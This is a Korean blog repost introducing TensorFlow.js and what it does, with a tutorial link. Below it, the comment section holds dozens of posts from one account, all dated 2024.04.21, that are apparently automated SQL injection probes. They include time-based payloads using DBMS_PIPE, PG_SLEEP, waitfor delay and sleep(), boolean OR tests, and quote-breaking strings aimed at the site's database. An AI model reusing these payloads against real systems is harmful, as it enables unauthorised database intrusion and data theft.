Image
Image

[샘플]웹 브라우저에서 동작하는 TensorFlow.js 를 소개합니다.

웹 브라우저에서 동작하는 TensorFlow가 나왔습니다.

이전에도 가능은 했을지 모르겠지만 공식적으로 발표가 나온것 같습니다.

+ 내용 추가) 이전부터 있었던 deeplearn.js가 TensorFlow.js로 이름을 바꾼거라고 하네요.


크게 기능을 보자면

학습된 모델을 불러와서 쓸 수 있다.

불러온 모델을 학습시킬 수 있다.

직접 모델을 작성할 수 있다.

그러니까 다 된다는 말이죠 ㅋㅋ


간단하게 코드의 모습이나 디자인 컨셉을 보고싶으시면

https://js.tensorflow.org/tutorials/core-concepts.html

여기서 보시면 됩니다.

눈에 띄는건 js의 메모리 관리 특성상 필요한 dispose, tidy 같은거?

공식 사이트에서 가장 처음 소개하는 선형회귀 예제를 직접 돌려봅시다.


[출처] https://neurowhai.tistory.com/156

Image

댓글목록

  • Image

    TzwSVsOw 2024.04.21

    @@gClc9

  • Image

    TzwSVsOw 2024.04.21

    1����%2527%2522

  • Image

    TzwSVsOw 2024.04.21

    1'"

  • Image

    TzwSVsOw 2024.04.21

    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • Image

    TzwSVsOw 2024.04.21

    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  • Image

    TzwSVsOw 2024.04.21

    WQIHuvG5')) OR 703=(SELECT 703 FROM PG_SLEEP(15))--

  • Image

    TzwSVsOw 2024.04.21

    NLSRlYjK') OR 377=(SELECT 377 FROM PG_SLEEP(15))--

  • Image

    TzwSVsOw 2024.04.21

    XHswFItp' OR 142=(SELECT 142 FROM PG_SLEEP(15))--

  • Image

    TzwSVsOw 2024.04.21

    -1)) OR 330=(SELECT 330 FROM PG_SLEEP(15))--

  • Image

    TzwSVsOw 2024.04.21

    -5) OR 419=(SELECT 419 FROM PG_SLEEP(15))--

  • Image

    TzwSVsOw 2024.04.21

    -5 OR 258=(SELECT 258 FROM PG_SLEEP(15))--

  • Image

    TzwSVsOw 2024.04.21

    etQdurRG')); waitfor delay '0:0:15' --

  • Image

    TzwSVsOw 2024.04.21

    jnXlVB9o'); waitfor delay '0:0:15' --

  • Image

    TzwSVsOw 2024.04.21

    nz6iN8eS'; waitfor delay '0:0:15' --

  • Image

    TzwSVsOw 2024.04.21

    1 waitfor delay '0:0:15' --

  • Image

    TzwSVsOw 2024.04.21

    -1)); waitfor delay '0:0:15' --

  • Image

    TzwSVsOw 2024.04.21

    -1); waitfor delay '0:0:15' --

  • Image

    TzwSVsOw 2024.04.21

    -1; waitfor delay '0:0:15' --

  • Image

    TzwSVsOw 2024.04.21

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • Image

    TzwSVsOw 2024.04.21

    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • Image

    TzwSVsOw 2024.04.21

    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • Image

    TzwSVsOw 2024.04.21

    if(now()=sysdate(),sleep(15),0)

  • Image

    TzwSVsOw 2024.04.21

    -1" OR 2+340-340-1=0+0+0+1 --

  • Image

    TzwSVsOw 2024.04.21

    -1' OR 2+224-224-1=0+0+0+1 or 'b2uAYxGu'='

  • Image

    TzwSVsOw 2024.04.21

    -1' OR 2+266-266-1=0+0+0+1 --

  • Image

    TzwSVsOw 2024.04.21

    -1 OR 2+960-960-1=0+0+0+1

  • Image

    TzwSVsOw 2024.04.21

    -1 OR 2+650-650-1=0+0+0+1 --

  • Image

    TzwSVsOw 2024.04.21

    T8sIkoEq

  • Image

    TzwSVsOw 2024.04.21

    1

  • Image

    TzwSVsOw 2024.04.21

    1

  • Image

    TzwSVsOw 2024.04.21

    1

  • Image

    TzwSVsOw 2024.04.21

    1

  • Image

    TzwSVsOw 2024.04.21

    1

  • Image

    TzwSVsOw 2024.04.21

    1

  • Image

    TzwSVsOw 2024.04.21

    1

  • Image

    TzwSVsOw 2024.04.21

    1

  • Image

    TzwSVsOw 2024.04.21

    1

  • Image

    TzwSVsOw 2024.04.21

    1

Image